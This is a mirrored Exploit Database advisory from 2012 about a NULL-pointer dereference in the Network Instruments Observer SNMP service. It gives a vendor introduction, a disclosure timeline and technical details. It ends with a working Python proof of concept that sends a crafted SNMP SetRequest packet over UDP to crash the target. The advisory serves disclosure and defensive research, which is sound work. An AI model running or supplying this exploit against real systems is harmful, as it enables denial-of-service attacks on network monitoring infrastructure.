Network Instrument Observer – SNMP SetRequest Denial of Service

• Exploit Database
• 103 阅读

• 作者： Francis Provencher
  日期： 2012-03-12
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18587/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85

  Application: Network Instrument Observer SNMP SetRequest Denial of Service Vulnerability   Platforms: Windows   Secunia: SA47898   {PRL}: 2012-05   Author: Francis Provencher (Protek Research Lab&apos;s)   Website: http://www.protekresearchlab.com/   Twitter: @ProtekResearch     #####################################################################################   1) Introduction 2) Report Timeline 3) Technical details 4) The Code     #####################################################################################   =============== 1) Introduction =============== Network Instruments develops software and hardware solutions for analyzing and managing network and application performance, such as network analyzers. They were founded in 1994, and are headquartered in Minneapolis, Minnesota. The mainstay product of Network Instruments is its Observer family of network analyzers (including Observer, Observer Expert and Observer Suite). The Observer product family was built for real-time analysis, monitoring, and reporting of full-duplex network links in environments including local area networks (LAN), wireless, Fibre Channel, Wide Area Networks, gigabit Ethernet, and Full duplex 10 GbE   (http://en.wikipedia.org/wiki/Network_Instruments)   #####################################################################################   ============================ 2) Report Timeline ============================   2012-02-07Vulnerability reported to Secunia 2012-03-12Vendor disclose patch     #####################################################################################   ============================ 3) Technical details ============================ The vulnerability is caused due to a NULL-pointer dereference error when copying an octet string from a variable binding list. This can be exploited to cause a crash via a specially crafted SNMP SetRequest PDU sent to UDP port 162.   #####################################################################################   =========== 4) The Code ===========   #!/usr/bin/python   import sys,os,socket   if len(sys.argv) < 3: print "Usage: host,port" sys.exit(0)   host=sys.argv[1] port=int(sys.argv[2])       sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)   sock.connect((host,port))   sock.send("\x30\x35\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xA3\x27\x02\x04\x00\x00\x00\x00\x02\x01\x00\x02\x01\x00\x30\x19\x30\x17\x06\x08\x2B\x06\x01\x02\x01\x01\x04\x00\x04\x84\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")   print "done!"   sock.close()